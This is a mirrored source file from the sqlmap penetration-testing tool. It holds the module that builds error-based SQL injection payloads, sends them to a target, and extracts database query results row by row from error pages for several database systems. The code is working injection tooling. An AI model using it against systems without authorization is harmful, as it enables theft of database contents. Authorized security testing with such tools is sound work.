mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-12-02 06:23:52 +03:00
daebb0010b
Alignment of SQL statement payload packing/unpacking between all of the techniques. Minor bug fix to use the proper charset (2, numbers) when dealing with COUNT() in custom queries too. Minor code cleanup.
274 lines
10 KiB
Python
274 lines
10 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id$
|
|
|
|
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
import re
|
|
import time
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import calculateDeltaSeconds
|
|
from lib.core.common import dataToSessionFile
|
|
from lib.core.common import extractRegexResult
|
|
from lib.core.common import getIdentifiedDBMS
|
|
from lib.core.common import initTechnique
|
|
from lib.core.common import isNumPosStrValue
|
|
from lib.core.common import randomInt
|
|
from lib.core.common import replaceNewlineTabs
|
|
from lib.core.common import safeStringFormat
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import queries
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import EXPECTED
|
|
from lib.core.enums import PAYLOAD
|
|
from lib.core.settings import FROM_TABLE
|
|
from lib.core.unescaper import unescaper
|
|
from lib.request.connect import Connect as Request
|
|
from lib.utils.resume import resume
|
|
|
|
reqCount = 0
|
|
|
|
def __oneShotErrorUse(expression, field):
|
|
global reqCount
|
|
|
|
check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
|
|
nulledCastedField = agent.nullAndCastField(field)
|
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL:
|
|
# Fix for MySQL odd behaviour ('Subquery returns more than 1 row')
|
|
nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))")
|
|
|
|
# Forge the error-based SQL injection request
|
|
vector = agent.cleanupPayload(kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector)
|
|
query = unescaper.unescape(vector)
|
|
query = agent.prefixQuery(query)
|
|
query = agent.suffixQuery(query)
|
|
injExpression = expression.replace(field, nulledCastedField, 1)
|
|
injExpression = unescaper.unescape(injExpression)
|
|
injExpression = query.replace("[QUERY]", injExpression)
|
|
payload = agent.payload(newValue=injExpression)
|
|
|
|
# Perform the request
|
|
page, _ = Request.queryPage(payload, content=True)
|
|
reqCount += 1
|
|
|
|
# Parse the returned page to get the exact error-based
|
|
# sql injection output
|
|
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
|
|
|
|
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(output)))
|
|
|
|
return output
|
|
|
|
def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None, resumeValue=True):
|
|
outputs = []
|
|
origExpr = None
|
|
|
|
for field in expressionFieldsList:
|
|
output = None
|
|
|
|
if field.startswith("ROWNUM "):
|
|
continue
|
|
|
|
if isinstance(num, int):
|
|
origExpr = expression
|
|
expression = agent.limitQuery(num, expression, field)
|
|
|
|
if "ROWNUM" in expressionFieldsList:
|
|
expressionReplaced = expression
|
|
else:
|
|
expressionReplaced = expression.replace(expressionFields, field, 1)
|
|
|
|
if resumeValue:
|
|
output = resume(expressionReplaced, None)
|
|
|
|
if not output or (expected == EXPECTED.INT and not output.isdigit()):
|
|
if output:
|
|
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
|
|
warnMsg += "sqlmap is going to retrieve the value again"
|
|
logger.warn(warnMsg)
|
|
|
|
output = __oneShotErrorUse(expressionReplaced, field)
|
|
logger.info("retrieved: %s" % output)
|
|
|
|
if isinstance(num, int):
|
|
expression = origExpr
|
|
|
|
if output:
|
|
output = output.replace(kb.misc.space, " ")
|
|
outputs.append(output)
|
|
|
|
return outputs
|
|
|
|
def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
|
"""
|
|
Retrieve the output of a SQL query taking advantage of the error-based
|
|
SQL injection vulnerability on the affected parameter.
|
|
"""
|
|
|
|
initTechnique(PAYLOAD.TECHNIQUE.ERROR)
|
|
|
|
count = None
|
|
start = time.time()
|
|
startLimit = 0
|
|
stopLimit = None
|
|
outputs = []
|
|
test = None
|
|
untilLimitChar = None
|
|
untilOrderChar = None
|
|
|
|
global reqCount
|
|
|
|
reqCount = 0
|
|
|
|
if resumeValue:
|
|
output = resume(expression, None)
|
|
else:
|
|
output = None
|
|
|
|
if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
|
|
return output
|
|
|
|
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
|
|
|
|
# We have to check if the SQL query might return multiple entries
|
|
# and in such case forge the SQL limiting the query output one
|
|
# entry per time
|
|
# NOTE: I assume that only queries that get data from a table can
|
|
# return multiple entries
|
|
if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper():
|
|
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
|
|
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
|
|
|
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
|
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
|
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
|
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
|
|
|
if limitGroupStart.isdigit():
|
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
|
|
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
|
if limitRegExp:
|
|
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
|
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
|
|
|
if limitGroupStart.isdigit():
|
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
|
|
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
|
limitCond = int(stopLimit) > 1
|
|
elif topLimit:
|
|
startLimit = 0
|
|
stopLimit = int(topLimit.group(1))
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
|
limitCond = False
|
|
else:
|
|
limitCond = True
|
|
|
|
# I assume that only queries NOT containing a "LIMIT #, 1"
|
|
# (or similar depending on the back-end DBMS) can return
|
|
# multiple entries
|
|
if limitCond:
|
|
if limitRegExp:
|
|
stopLimit = int(stopLimit)
|
|
|
|
# From now on we need only the expression until the " LIMIT "
|
|
# (or similar, depending on the back-end DBMS) word
|
|
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
|
stopLimit += startLimit
|
|
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
|
|
expression = expression[:untilLimitChar]
|
|
|
|
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
|
stopLimit += startLimit
|
|
elif dump:
|
|
if conf.limitStart:
|
|
startLimit = conf.limitStart
|
|
if conf.limitStop:
|
|
stopLimit = conf.limitStop
|
|
|
|
if not stopLimit or stopLimit <= 1:
|
|
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
|
|
test = False
|
|
else:
|
|
test = True
|
|
|
|
if test:
|
|
# Count the number of SQL query entries output
|
|
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
|
|
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
|
|
|
if re.search(" ORDER BY ", expression, re.I):
|
|
untilOrderChar = countedExpression.index(" ORDER BY ")
|
|
countedExpression = countedExpression[:untilOrderChar]
|
|
|
|
if resumeValue:
|
|
count = resume(countedExpression, None)
|
|
|
|
if not stopLimit:
|
|
if not count or not count.isdigit():
|
|
count = __oneShotErrorUse(countedExpression, expressionFields)
|
|
|
|
if isNumPosStrValue(count):
|
|
stopLimit = int(count)
|
|
|
|
infoMsg = "the SQL query used returns "
|
|
infoMsg += "%d entries" % stopLimit
|
|
logger.info(infoMsg)
|
|
|
|
elif count and not count.isdigit():
|
|
warnMsg = "it was not possible to count the number "
|
|
warnMsg += "of entries for the used SQL query. "
|
|
warnMsg += "sqlmap will assume that it returns only "
|
|
warnMsg += "one entry"
|
|
logger.warn(warnMsg)
|
|
|
|
stopLimit = 1
|
|
|
|
elif (not count or int(count) == 0):
|
|
warnMsg = "the SQL query used does not "
|
|
warnMsg += "return any output"
|
|
logger.warn(warnMsg)
|
|
|
|
return None
|
|
|
|
elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
|
|
warnMsg = "the SQL query used does not "
|
|
warnMsg += "return any output"
|
|
logger.warn(warnMsg)
|
|
|
|
return None
|
|
|
|
try:
|
|
for num in xrange(startLimit, stopLimit):
|
|
output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num, resumeValue)
|
|
outputs.append(output)
|
|
|
|
except KeyboardInterrupt:
|
|
print
|
|
warnMsg = "Ctrl+C detected in dumping phase"
|
|
logger.warn(warnMsg)
|
|
|
|
duration = calculateDeltaSeconds(start)
|
|
|
|
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
|
|
logger.debug(debugMsg)
|
|
|
|
return outputs
|
|
else:
|
|
return __oneShotErrorUse(expression, expressionFields)
|
|
|
|
return outputs
|